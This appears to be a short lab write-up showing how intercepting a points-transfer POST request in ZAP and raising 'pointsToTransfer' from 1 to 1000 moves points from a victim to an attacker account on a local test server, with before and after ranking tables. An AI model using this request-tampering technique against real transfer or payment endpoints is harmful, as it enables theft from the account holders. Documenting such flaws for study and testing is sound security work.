

Ranking

| | | |
|---|----------|------|
| 1 | victim | 6000 |
| 2 | Bucky | 5000 |
| 3 | Miku | 4900 |
| 4 | Joe | 4700 |
| 5 | attacker | 533 |

```
POST http://localhost:8080/transfer HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686_32; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://localhost:8080
Connection: keep-alive
```

```
to=attacker&pointsToTransfer=1000
```

Ranking

| | | |
|---|----------|------|
| 1 | Bucky | 5000 |
| 2 | victim | 4998 |
| 3 | Miku | 4900 |
| 4 | Joe | 4700 |
| 5 | attacker | 1545 |

I interrupted the transfer of credits process through ZAP via a breakpoint whenever the request body contained the string “pointsToTransfer” and then modified it to be 1000 points instead of 1. This would only be possible for the attacker if they had access to ZAP for the running server and a knowledge of what the pattern of transfer requests looks like.